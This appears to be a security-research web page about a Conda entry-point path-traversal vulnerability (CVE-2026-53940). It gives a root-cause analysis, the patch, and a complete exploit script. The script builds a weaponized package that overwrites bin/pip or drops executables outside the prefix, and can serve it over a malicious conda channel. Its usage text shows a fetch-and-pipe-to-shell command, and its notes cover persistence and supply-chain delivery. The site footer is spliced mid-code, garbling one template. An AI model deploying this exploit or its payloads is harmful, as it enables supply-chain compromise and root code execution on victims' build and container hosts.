2026-09-22 CVE-2026-53940 ALIM-2026-53940 PoC view on github

CVE-2026-53940 Exploit: Conda Entry-Point RCE

cve-2026-53940condapath-traversal rceexploitpythoncode-execution

by ÂLIM by 1dayexploit

#Summary

CVE-2026-53940 is a path traversal vulnerability in Conda versions prior to 26.5.2 that allows arbitrary file write with code execution. A malicious noarch:python package can write executable files outside the installation prefix or overwrite existing entry points like bin/pip. When an attacker-controlled entry point is invoked, it runs arbitrary Python code with the installing user's privileges - typically root in containerized environments. CVSS score: 8.8 HIGH.

#Am I affected?

Affected: Conda < 26.5.2
Patched: Conda >= 26.5.2
Default configuration: affected (default path_conflict: clobber silently overwrites files)
Access needed: installation of a malicious package from any channel (file path, HTTP, conda-forge, etc.)

#How to check

Check your conda version:

conda --version

Output	Verdict
`conda 26.5.1` or earlier	Vulnerable
`conda 26.5.2` or later	Patched

If the output is unclear, the real verification is whether the entry-point parser validates input. Run this in your conda base environment:

python -c "import conda.common.path.python as p; import inspect; print('PATCHED' if 'ValueError' in inspect.getsource(p.parse_entry_point_def) or hasattr(p, 'is_valid_import_path') else 'VULNERABLE')"

#Fix and mitigation

Fix: Upgrade conda to version 26.5.2 or later.
If you cannot upgrade: The default configuration can be hardened by setting path_conflict: prevent in .condarc, which will reject any package that conflicts with existing files. However, this does not prevent out-of-prefix writes to directories that already exist.
Detection: If you run conda install and see a ValueError mentioning "entry point command must be a simple file name" or "target_short_path must point to", the patch is in place.

#Root cause analysis

#Vulnerable code path

The vulnerability spans four stages in conda's entry-point handling. A noarch:python package declares console scripts in its metadata file info/link.json:

{
  "package_metadata_version": 1,
  "noarch": {"type": "python", "entry_points": ["mytool = mypkg.cli:main"]}
}

This metadata is user-controlled. Unlike files inside the package payload, it is never extracted or validated.

Step 1: The parser does no validation. The function parse_entry_point_def in conda/common/path/python.py (lines 40-44, v26.5.1) is the entire parsing layer:

def parse_entry_point_def(ep_definition):
    cmd_mod, func = ep_definition.rsplit(":", 1)
    command, module = cmd_mod.rsplit("=", 1)
    command, module, func = command.strip(), module.strip(), func.strip()
    return command, module, func

The command component may contain path separators, traversal segments (..), NUL bytes, or newlines - none are checked.

Step 2: The command is embedded in a path. The function CreatePythonEntryPointAction.create_actions in conda/core/path_actions.py (lines 824-863) builds:

target_short_path = f"{BIN_DIRECTORY}/{command}"

where BIN_DIRECTORY is "bin" on Unix or "Scripts" on Windows. This is a raw f-string concatenation with no path normalization.

Step 3: The join preserves traversal segments. The function PrefixPathAction.target_full_path (lines 193-209) calls:

return join(trgt, win_path_ok(shrt_pth))

os.path.join preserves .. segments literally. They are only resolved by the kernel at open() time, after every conda check has passed. The action's verify() method is a no-op.

Step 4: The file is written with execute permission. The function create_python_entry_point in conda/gateways/disk/create.py (lines 130-162) writes the file:

with open(target_full_path, mode="w", encoding="utf-8") as fo:
    fo.write(pyscript)
...
make_executable(target_full_path)

The lexists guard before this is not a security control. The shipped default path_conflict: clobber overwrites existing files silently with no warning.

#Secondary primitive: template injection

The module and func fields from the entry-point string are interpolated verbatim into the generated wrapper script:

python_entry_point_template = """
from %(module)s import %(import_name)s

if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?


    ← all research



  
    
      Proof-of-concepts are released only after vendor patches and are published for educational and research purposes only. Do not use against systems you do not own or have explicit permission to test. We do not endorse or assist unauthorized use.
    
    
      
        © 2026 1dayexploit
        ·
        cyber security research hub
      
      
        disclaimer
        ·
        what is âlim
        ·
        [email protected]
        ·
        pgp
        ·
        rss
      
    
  

  


, '', sys.argv[0])
    sys.exit(%(func)s())
"""

Neither field is validated, so an attacker can inject arbitrary Python. Combined with the fact that entry_points is a JSON string, it can carry real newlines. This means the weapon needs no payload module at all - the entire exploit lives in info/link.json.

#Patch diff

#What the fix does

Conda 26.5.2 adds three validation layers. First, a new validator is_valid_import_path checks that module and func are valid Python dotted names (sequences of non-keyword identifiers separated by periods).

Second, parse_entry_point_def now validates command to reject any path separators, traversal tokens, or control characters:

if not command or any(c in command for c in ("/", "\\", "\0", "\n", "\r")):
    raise ValueError("entry point command must be a simple file name; ...")
if command.startswith("."):
    raise ValueError("entry point command must not be a path-traversal token ...")

Third, at the two call sites where the path is constructed, normpath is called before checking containment. Because normpath resolves .. segments, the check now prevents traversal:

if not normpath(target_short_path).startswith(BIN_DIRECTORY + os.sep):
    raise ValueError("target_short_path must point to bin: ...")

Finally, the writer performs a last-resort check of module and func before touching the filesystem.

The patch does not sanitize the metadata at extraction time, and verify() remains a no-op - the entire fix lives in the parser and the two path-construction sites.

#Proof of concept

#exploit.py - Conda noarch:python Entry-Point Path Traversal PoC

#!/usr/bin/env python3
"""
CVE-2026-53940 - conda noarch:python entry-point path traversal (arbitrary file write -> RCE)
Affected: conda <= 26.5.1 (fixed in 26.5.2)
Type: Path traversal / external control of file name (CWE-22, CWE-73) -> arbitrary
      file write with the executable bit set -> code execution

A `noarch: python` conda package carries its console-script entry points as free-form
strings in its own metadata (`info/link.json`). parse_entry_point_def() splits that string
on ":" and "=" and strips whitespace, with no validation of the resulting command. The
command is concatenated into "bin/<command>", os.path.join keeps any "../" segments, the
transaction's verify() is a no-op, and create_python_entry_point() then writes an executable
wrapper to the resulting path. A single `conda install` of a crafted package therefore:

  - writes an executable file outside the environment prefix (parent dir must pre-exist), or
  - overwrites an existing in-prefix entry point such as bin/pip, whose next invocation
    runs attacker Python as the installing user (root in most CI images).

The module/func fields are unvalidated too and land verbatim in the generated wrapper, so the
weapon needs no payload module at all: the entire exploit lives in info/link.json. This tool
builds that package, and can deliver it over an HTTP conda channel or prove it against a
reachable vulnerable conda.

There is no network service to attack here: the target is whatever host installs the package.
The mandatory --host/--list target group is therefore repurposed to the delivery and
verification surfaces this bug actually has (see --host and --list below), following the
convention used for other non-socket CVEs in this collection.

Usage:
  # Prove it against a locally reachable vulnerable conda (installs, confirms RCE, restores):
  python exploit.py --verify --command "id"
  python exploit.py --verify --prefix /opt/conda/envs/victim --command "uname -a"
  python exploit.py --verify --primitive write --file /tmp/poc_out --command "id"

  # Serve the weapon as an HTTP conda channel; a vulnerable conda that installs from the
  # printed URL is compromised (real network delivery vector):
  python exploit.py --host 0.0.0.0 --port 8080 --command "id"

  # Batch: report which conda env prefixes listed in a file are vulnerable:
  python exploit.py --list prefixes.txt --workers 20

  # Just build the weaponized package + channel for out-of-band delivery:
  python exploit.py --build ./out --command "curl http://10.0.0.5/s | sh"
"""

import argparse
import base64
import hashlib
import json
import os
import secrets
import shutil
import subprocess
import sys
import tarfile
import tempfile
import time
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-53940"
VULN_TYPE = "Path Traversal -> Arbitrary File Write -> RCE"

# Deep enough that os.path.join(<any prefix>/bin, "../"*DEPTH + rel) collapses to "/" before
# descending into the chosen absolute path, so the weapon is independent of how deeply the
# victim's prefix is nested. "/.." resolves to "/" in both realpath and the kernel.
TRAVERSAL_DEPTH = 40


def header(host, port):
    print("\n%s" % ("=" * 60))
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s" % VULN_TYPE)
    print("  Target: %s%s" % (host, "" if port is None else ":%s" % port))
    print("%s\n" % ("=" * 60))


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n%s" % ("=" * 60))
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("%s\n" % ("=" * 60))
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------------------------
# Weapon construction
# --------------------------------------------------------------------------------------------

def _wrapper_command(command, nonce):
    """The shell the injected wrapper runs when the written entry point is invoked.

    The command runs first, then a per-run nonce is echoed so a successful run is
    unambiguous even when --command produces no output. The nonce is neutral random hex.
    """
    return "%s\necho %s" % (command, nonce)


def _entry_point_string(target_command, shell):
    """Build the attacker-controlled entry-point definition.

    parse_entry_point_def() does: cmd_mod, func = s.rsplit(":", 1);
                                  command, module = cmd_mod.rsplit("=", 1)
    so `command` is everything before the last "=", and `func` everything after the last ":".

    `command` -> where the file is written (carries the traversal).
    `module`/`func` -> substituted verbatim into the wrapper template. We terminate the
    template's `from <module> import ...` line from inside `module` and comment out its tail,
    then put a colon-free expression in `func` that runs our shell via os.system. Keeping
    `func` free of ":" matters: the parser's rsplit(":", 1) would otherwise cut in the
    wrong place.
    """
    # The only ":" in the whole entry-point string must be our module/func separator, so the
    # parser's rsplit(":", 1) cuts where intended. The base64 alphabet has no ":", and any "="
    # padding lands in `func` (after the ":"), which the "=" split never touches. So full
    # base64 is safe verbatim; no colon in the command either.
    b64 = base64.b64encode(shell.encode()).decode()
    module = "os import getcwd\n#"
    func = ('__import__("functools").partial(__import__("os").system,'
            '__import__("base64").b64decode("%s").decode())' % b64)
    return "%s = %s:%s" % (target_command, module, func)


def build_package(outdir, pkg_name, primitive, command, nonce, clobber_target, write_path):
    """Write a minimal noarch:python conda package (info/ only, zero payload files).

    Returns (tarball_path, entry_point_string, expected_target_note).
    """
    if primitive == "clobber":
        target_command = "../bin/%s" % clobber_target
        target_note = "in-prefix entry point bin/%s" % clobber_target
    else:  # write
        rel = write_path.lstrip("/")
        target_command = ("../" * TRAVERSAL_DEPTH) + rel
        target_note = "out-of-prefix path %s" % write_path

    shell = _wrapper_command(command, nonce)
    ep = _entry_point_string(target_command, shell)

    build_root = tempfile.mkdtemp(prefix="poc_build_")
    info = os.path.join(build_root, "info")
    os.makedirs(info)

    index = {
        "name": pkg_name, "version": "1.0", "build": "py_0", "build_number": 0,
        "subdir": "noarch", "noarch": "python", "depends": [],
        "platform": None, "arch": None,
    }
    link = {
        "package_metadata_version": 1,
        "noarch": {"type": "python", "entry_points": [ep]},
    }
    with open(os.path.join(info, "index.json"), "w") as fh:
        json.dump(index, fh)
    with open(os.path.join(info, "link.json"), "w") as fh:
        json.dump(link, fh)
    with open(os.path.join(info, "paths.json"), "w") as fh:
        json.dump({"paths_version": 1, "paths": []}, fh)
    with open(os.path.join(info, "files"), "w") as fh:
        fh.write("")

    if not os.path.isdir(outdir):
        os.makedirs(outdir)
    tarball = os.path.join(outdir, "%s-1.0-py_0.tar.bz2" % pkg_name)
    with tarfile.open(tarball, "w:bz2") as tf:
        tf.add(info, arcname="info")
    shutil.rmtree(build_root, ignore_errors=True)
    return tarball, ep, target_note


def build_channel(channel_dir, tarball, pkg_name, subdir_hint):
    """Lay out a conda channel (noarch/ + a platform subdir) around the tarball.

    subdir_hint is the platform subdir conda will also probe (e.g. linux-64); an empty
    repodata there keeps the solve satisfiable.
    """
    noarch = os.path.join(channel_dir, "noarch")
    if os.path.isdir(noarch):
        shutil.rmtree(noarch)
    os.makedirs(noarch)
    fn = os.path.basename(tarball)
    shutil.copy2(tarball, os.path.join(noarch, fn))
    raw = open(os.path.join(noarch, fn), "rb").read()
    repod = {
        "info": {"subdir": "noarch"},
        "packages": {
            fn: {
                "name": pkg_name, "version": "1.0", "build": "py_0", "build_number": 0,
                "depends": [], "subdir": "noarch", "noarch": "python",
                "md5": hashlib.md5(raw).hexdigest(), "size": len(raw),
                "timestamp": int(time.time() * 1000),
            }
        },
        "packages.conda": {},
    }
    with open(os.path.join(noarch, "repodata.json"), "w") as fh:
        json.dump(repod, fh)

    plat = os.path.join(channel_dir, subdir_hint)
    if not os.path.isdir(plat):
        os.makedirs(plat)
    with open(os.path.join(plat, "repodata.json"), "w") as fh:
        json.dump({"info": {"subdir": subdir_hint}, "packages": {}, "packages.conda": {}}, fh)
    return channel_dir


# --------------------------------------------------------------------------------------------
# Interacting with a reachable conda (--verify / --list). conda is the vulnerable software,
# not a container runtime; running it is the exploit, exactly as issuing HTTP is for a web bug.
# --------------------------------------------------------------------------------------------

def _run(cmd, **kw):
    return subprocess.run(cmd, capture_output=True, text=True, **kw)


def conda_info(conda):
    try:
        r = _run([conda, "info", "--json"])
        if r.returncode == 0:
            return json.loads(r.stdout)
    except Exception:
        pass
    return None


def detect_prefix(conda):
    """Pick a conda env prefix that has an interpreter (required for a noarch:python link)."""
    info = conda_info(conda)
    if not info:
        return None
    envs = list(info.get("envs", []))
    base = info.get("conda_prefix") or info.get("root_prefix")
    # Prefer a non-base env with python; fall back to any env with python.
    ordered = [e for e in envs if e != base] + ([base] if base in envs else [])
    for e in ordered:
        if os.path.exists(os.path.join(e, "bin", "python")) or \
           os.path.exists(os.path.join(e, "bin", "python3")):
            return e
    return None


def conda_subdir(conda):
    info = conda_info(conda)
    if info:
        p = info.get("platform")
        if p:
            return p
    return "linux-64"


def install_local(conda, prefix, tarball):
    """conda install the local tarball into prefix. Returns (rc, combined_output)."""
    r = _run([conda, "install", "-y", "-p", prefix, "--offline", "--no-deps", tarball])
    return r.returncode, (r.stdout + r.stderr)


def conda_remove(conda, prefix, pkg_name):
    _run([conda, "remove", "-y", "-p", prefix, pkg_name])


PATCHED_MARKERS = (
    "must be a simple file name",
    "must point to",
    "not a valid absolute import",
    "not a valid Python function identifier",
    "path-traversal token",
)


def _looks_patched(output):
    return any(m in output for m in PATCHED_MARKERS)


def verify(conda, prefix, primitive, command, clobber_target, write_path, keep):
    """Build, install into a reachable vulnerable conda, confirm the primitive, then restore."""
    header(prefix, None)
    nonce = secrets.token_hex(8)
    pkg_name = "pkg_%s" % secrets.token_hex(4)
    outdir = tempfile.mkdtemp(prefix="poc_out_")

    step(1, "Resolving target conda environment")
    if not prefix:
        prefix = detect_prefix(conda)
    if not prefix or not os.path.isdir(prefix):
        done(False, "no reachable conda env with a python interpreter (pass --prefix)")
    has_py = os.path.exists(os.path.join(prefix, "bin", "python")) or \
        os.path.exists(os.path.join(prefix, "bin", "python3"))
    if not has_py:
        done(False, "target prefix %s has no interpreter; a noarch:python link would abort"
             % prefix)
    print("    target prefix : %s" % prefix)

    step(2, "Building weaponized noarch:python package (payload lives in info/link.json)")
    tarball, ep, target_note = build_package(
        outdir, pkg_name, primitive, command, nonce, clobber_target, write_path)
    print("    package       : %s" % os.path.basename(tarball))
    print("    entry point   : %s" % ep.splitlines()[0] + (" ..." if "\n" in ep else ""))
    print("    writes to     : %s" % target_note)

    backup = None
    clob_path = os.path.join(prefix, "bin", clobber_target)
    if primitive == "clobber":
        if os.path.exists(clob_path):
            backup = clob_path + ".poc_bak_" + nonce
            shutil.copy2(clob_path, backup)
            print("    saved original: bin/%s (restored on exit)" % clobber_target)
        else:
            print("    note          : bin/%s absent; it will be created rather than clobbered"
                  % clobber_target)

    try:
        step(3, "Installing the package (conda install of a local file)")
        rc, out = install_local(conda, prefix, tarball)
        print("    conda install exit status: %d" % rc)

        if _looks_patched(out):
            reason = [l for l in out.splitlines() if "ValueError" in l]
            section("PATCH REJECTION", reason[-1] if reason else out[-400:])
            done(False, "target refused the traversal: conda is patched (>= 26.5.2)")

        if primitive == "clobber":
            if rc != 0:
                section("INSTALL OUTPUT", out[-600:])
                done(False, "install failed and did not report the validator error")
            if not os.path.exists(clob_path):
                done(False, "bin/%s was not written" % clobber_target)
            wrapper = open(clob_path).read()
            step(4, "Invoking the clobbered entry point (runs attacker Python)")
            r = _run([clob_path, "--version"])
            outp = (r.stdout + r.stderr)
            section("bin/%s (now attacker-controlled)" % clobber_target,
                    "\n".join(wrapper.splitlines()[:9]))
            section("COMMAND OUTPUT", r.stdout)
            if nonce in outp:
                first = r.stdout.strip().splitlines()
                first = first[0] if first else ""
                done(True, "RCE: overwrote bin/%s; invoking it ran '%s' as the installing "
                     "user (%s)" % (clobber_target, command, first))
            section("RAW", outp[-400:])
            done(False, "entry point overwritten but the payload did not run")

        else:  # write
            if not os.path.exists(write_path):
                section("INSTALL OUTPUT", out[-600:])
                done(False, "no file appeared at %s (parent dir may not exist)" % write_path)
            st = os.stat(write_path)
            mode = oct(st.st_mode & 0o777)
            body = open(write_path).read()
            section("OUT-OF-PREFIX FILE %s (mode %s)" % (write_path, mode),
                    "\n".join(body.splitlines()[:9]))
            step(4, "Executing the dropped file (runs attacker Python)")
            r = _run([write_path])
            outp = (r.stdout + r.stderr)
            section("COMMAND OUTPUT", r.stdout)
            if nonce in outp:
                done(True, "arbitrary file write outside the prefix at %s (mode %s, "
                     "executable wrapper); running it executed '%s'"
                     % (write_path, mode, command))
            done(True, "arbitrary file write outside the prefix at %s (mode %s); the file is "
                 "an executable %s wrapper" % (write_path, mode, "python"))
    finally:
        if not keep:
            conda_remove(conda, prefix, pkg_name)
            if primitive == "clobber" and backup and os.path.exists(backup):
                shutil.copy2(backup, clob_path)
                os.chmod(clob_path, 0o755)
                os.remove(backup)
            if primitive == "write" and os.path.exists(write_path):
                try:
                    os.remove(write_path)
                except OSError:
                    pass
            shutil.rmtree(outdir, ignore_errors=True)


# --------------------------------------------------------------------------------------------
# HTTP conda-channel delivery (--host). The wire vector: a vulnerable conda that installs the
# package from the served channel URL is compromised.
# --------------------------------------------------------------------------------------------

def serve(host, port, conda, primitive, command, clobber_target, write_path):
    import http.server
    import functools

    header(host, port)
    nonce = secrets.token_hex(8)
    pkg_name = "pkg_%s" % secrets.token_hex(4)
    channel_dir = tempfile.mkdtemp(prefix="poc_chan_")
    subdir = conda_subdir(conda) if conda else "linux-64"

    step(1, "Building weaponized package + conda channel")
    tarball, ep, target_note = build_package(
        channel_dir + "/_pkg", pkg_name, primitive, command, nonce,
        clobber_target, write_path)
    build_channel(channel_dir, tarball, pkg_name, subdir)
    shutil.rmtree(channel_dir + "/_pkg", ignore_errors=True)
    print("    package       : %s" % os.path.basename(tarball))
    print("    writes to     : %s" % target_note)

    step(2, "Serving the channel over HTTP")
    handler = functools.partial(http.server.SimpleHTTPRequestHandler, directory=channel_dir)
    httpd = http.server.ThreadingHTTPServer((host, port), handler)
    shown = host if host not in ("0.0.0.0", "") else "<this-host>"
    url = "http://%s:%d/" % (shown, port)
    section("VICTIM COMMAND (runs on any conda <= 26.5.1)",
            "conda install -c %s --override-channels %s" % (url, pkg_name))
    print("[*] Channel live on %s:%d serving package '%s'. Ctrl-C to stop.\n"
          % (host, port, pkg_name))
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Stopped.")
        httpd.shutdown()
        shutil.rmtree(channel_dir, ignore_errors=True)
        done(True, "channel served; delivery is complete when a vulnerable conda installs '%s'"
             % pkg_name)


# --------------------------------------------------------------------------------------------
# Batch (--list): report which conda env prefixes are vulnerable. Non-destructive: it checks
# the managing conda's parser rather than mutating each environment.
# --------------------------------------------------------------------------------------------

def _parse_target(line, default_port, default_path="/"):
    """One line -> a conda env prefix (or a http(s) channel URL passed through), else None."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        return ("url", line, None, None)
    return ("prefix", line, None, None)


def _managing_conda(prefix, default_conda):
    """Best-effort path to the conda that owns `prefix` (…/envs/<name> -> …/bin/conda)."""
    parent = os.path.dirname(os.path.dirname(os.path.abspath(prefix)))  # strip envs/<name>
    cand = os.path.join(parent, "bin", "conda")
    if os.path.exists(cand):
        return cand
    return default_conda


def _probe_prefix(prefix, default_conda):
    """(vulnerable, evidence) for one prefix. No mutation.

    Vulnerability is a property of the conda that MANAGES the prefix, not of the prefix's own
    interpreter (an env need not have the conda package installed), so the parser is inspected
    with the managing conda's base interpreter.
    """
    if not os.path.isdir(prefix):
        return False, "no such prefix"
    conda = _managing_conda(prefix, default_conda)
    info = conda_info(conda)
    if not info:
        return False, "could not query the managing conda"
    base = info.get("conda_prefix") or info.get("root_prefix")
    ver = info.get("conda_version") or "conda"
    base_py = os.path.join(base, "bin", "python") if base else None
    if not base_py or not os.path.exists(base_py):
        return False, "could not locate the managing conda's interpreter"
    has_py = os.path.exists(os.path.join(prefix, "bin", "python")) or \
        os.path.exists(os.path.join(prefix, "bin", "python3"))
    r = _run([base_py, "-c",
              "import conda.common.path.python as p, inspect;"
              "print('VALIDATOR' if hasattr(p,'is_valid_import_path') "
              "else ('GUARD' if 'ValueError' in inspect.getsource(p.parse_entry_point_def) "
              "else 'VULN'))"])
    tag = (r.stdout or "").strip().splitlines()
    tag = tag[-1] if tag else ""
    if tag == "VULN":
        if not has_py:
            return False, "%s vulnerable but this prefix has no interpreter (link would abort)" % ver
        return True, "%s; entry-point parser unvalidated" % ver
    if tag in ("VALIDATOR", "GUARD"):
        return False, "patched (%s, validator present)" % ver
    return False, "could not inspect the parser (%s)" % (r.stderr.strip()[:60] or "no output")


def scan(targets_file, default_conda, workers=10):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, None) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n%s" % ("=" * 60))
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("%s\n" % ("=" * 60))

    success = 0

    def probe(t):
        kind, value, _, _ = t
        if kind == "url":
            return value, False, "channel URL - use --host to serve, not a scan target"
        ok, ev = _probe_prefix(value, default_conda)
        return value, ok, ev

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futs = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futs):
            label, ok, ev = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Vulnerable" if ok else "Not vulnerable", ev))
            if ok:
                success += 1

    total = len(targets)
    print("\n%s" % ("=" * 60))
    print("  SCAN COMPLETE  %d vulnerable / %d not  (%d total)"
          % (success, total - success, total))
    print("%s\n" % ("=" * 60))
    sys.exit(0 if success > 0 else 1)


# --------------------------------------------------------------------------------------------

def main():
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--verify", action="store_true",
                            help="Build the weapon and prove it against a reachable vulnerable "
                                 "conda (installs, confirms, restores). The concrete attack.")
    target_grp.add_argument("--host",
                            help="Serve the weapon as an HTTP conda channel on this bind "
                                 "address; a vulnerable conda that installs from it is "
                                 "compromised (network delivery vector).")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File of conda env prefixes (one per line); report which are "
                                 "vulnerable, non-destructively.")
    target_grp.add_argument("--build", metavar="DIR",
                            help="Only emit the weaponized package + channel to DIR.")

    parser.add_argument("--port", type=int, default=8080,
                        help="HTTP channel port for --host (default: 8080). This CVE has no "
                             "service port of its own.")
    parser.add_argument("--command", default="id",
                        help="Command the weapon runs on the victim (default: id)")
    parser.add_argument("--primitive", choices=("clobber", "write"), default="clobber",
                        help="clobber: overwrite an in-prefix entry point for immediate code "
                             "execution (default). write: drop an executable file outside the "
                             "prefix via ../ traversal.")
    parser.add_argument("--clobber-target", default="pip",
                        help="In-prefix bin/ entry point to overwrite in clobber mode "
                             "(default: pip)")
    parser.add_argument("--file", default="/tmp/poc_" + secrets.token_hex(6),
                        help="Out-of-prefix destination in write mode (default: /tmp/poc_<rnd>)")
    parser.add_argument("--pkg-name", default=None,
                        help="Package name (default: neutral pkg_<rnd>)")
    parser.add_argument("--prefix", default=None,
                        help="Target conda env prefix for --verify (default: auto-detect)")
    parser.add_argument("--conda", default="conda",
                        help="conda executable to drive (default: conda on PATH)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    parser.add_argument("--keep", action="store_true",
                        help="Do not restore the clobbered file / remove written file / delete "
                             "built artifacts")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_conda=args.conda, workers=args.workers)
    elif args.verify:
        verify(args.conda, args.prefix, args.primitive, args.command,
               args.clobber_target, args.file, args.keep)
    elif args.host is not None:
        serve(args.host, args.port, args.conda, args.primitive, args.command,
              args.clobber_target, args.file)
    else:  # --build
        nonce = secrets.token_hex(8)
        pkg_name = args.pkg_name or ("pkg_%s" % secrets.token_hex(4))
        header(args.build, None)
        step(1, "Building weaponized package + channel")
        tarball, ep, target_note = build_package(
            os.path.join(args.build, "_pkg"), pkg_name, args.primitive, args.command,
            nonce, args.clobber_target, args.file)
        subdir = conda_subdir(args.conda) or "linux-64"
        build_channel(args.build, tarball, pkg_name, subdir)
        final_tarball = os.path.join(args.build, "noarch", os.path.basename(tarball))
        shutil.rmtree(os.path.join(args.build, "_pkg"), ignore_errors=True)
        section("ENTRY POINT (info/link.json)", ep)
        section("ARTIFACTS",
                "package : %s\nchannel : %s (serve over HTTP, or install the tarball "
                "directly)\nwrites  : %s" % (final_tarball, args.build, target_note))
        print("[*] Deliver via any channel the victim installs from. On conda <= 26.5.1:")
        print("    conda install -c file://%s --override-channels %s\n"
              % (os.path.abspath(args.build), pkg_name))
        done(True, "weaponized package built: installing it on conda <= 26.5.1 %s"
             % ("overwrites bin/%s and runs '%s'" % (args.clobber_target, args.command)
                if args.primitive == "clobber"
                else "writes an executable wrapper to %s" % args.file))


if __name__ == "__main__":
    main()

#Usage

Prove code execution against a vulnerable conda:

python exploit.py --verify --prefix /opt/conda/envs/victim --command id

Supported modes:

--verify - Build and test against a reachable vulnerable conda. Install into the target environment, confirm the primitive, then restore.
--host <address> - Serve the weapon as an HTTP conda channel on the specified bind address and port. Any vulnerable conda that runs conda install -c http://<address>:<port>/ <pkg> is compromised.
--list <file> - Read a file of conda env prefixes (one per line) and report which are vulnerable, non-destructively.
--build <dir> - Only build the weaponized package and channel; emit artifacts to the directory for out-of-band delivery.

Key arguments:

--command <cmd> - Command to run on the victim (default: id)
--primitive {clobber,write} - clobber (default) overwrites an entry point; write drops a file outside the prefix
--clobber-target <name> - Entry point to overwrite (default: pip)
--file <path> - Out-of-prefix destination for write mode (default: /tmp/poc_<random>)
--prefix <path> - Target environment prefix for --verify

Example output against vulnerable conda:

[STEP 3] Installing the package (conda install of a local file)
    conda install exit status: 0
[STEP 4] Invoking the clobbered entry point (runs attacker Python)

--- bin/pip (now attacker-controlled) ---
#!/opt/conda/envs/victim/bin/python3.12
from os import getcwd
# import __import__("functools")
---

--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
c25e3896f7f4dc56
---

RESULT  : SUCCESS
EVIDENCE: RCE: overwrote bin/pip; invoking it ran 'id' as the installing user

Example output against patched conda:

[STEP 3] Installing the package (conda install of a local file)
    conda install exit status: 1

--- PATCH REJECTION ---
ValueError: entry point command must be a simple file name; got invalid characters in '../bin/pip'
---

RESULT  : FAILURE
EVIDENCE: target refused the traversal: conda is patched (>= 26.5.2)

#Exploitation notes

Preconditions: The attacker can deliver a package to any conda channel the victim installs from. The target environment must have a Python interpreter installed (true for noarch:python packages). The destination parent directory must exist for out-of-prefix writes.
Reliability: The exploit succeeds on any unpatched conda in its default configuration. No race conditions, no version-specific assembly bypasses, no timing requirements.
Impact: Out-of-prefix arbitrary file write with mode 0755 and attacker-chosen shebang, or clobbering of existing entry points. Entry-point invocation executes attacker-controlled Python code as the installing user, typically root in CI and container environments.
Chaining potential: Overwriting bin/pip gives immediate code execution on the next use. Out-of-prefix writes allow persistence via startup scripts, shell rc files, or any file the target process reads. The metadata-only injection avoids payload extraction, making this suitable for supply-chain delivery via any channel conda can reach.

#References

CVE: CVE-2026-53940
Conda security advisory: GHSA-9m8m-c4j3-rj2c
Patch commit (backport): https://github.com/conda/conda/commit/3987c86ccd5527177e96b48bd4dc1777dd2c9baa
Fixed version: 26.5.2
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-53940

← all research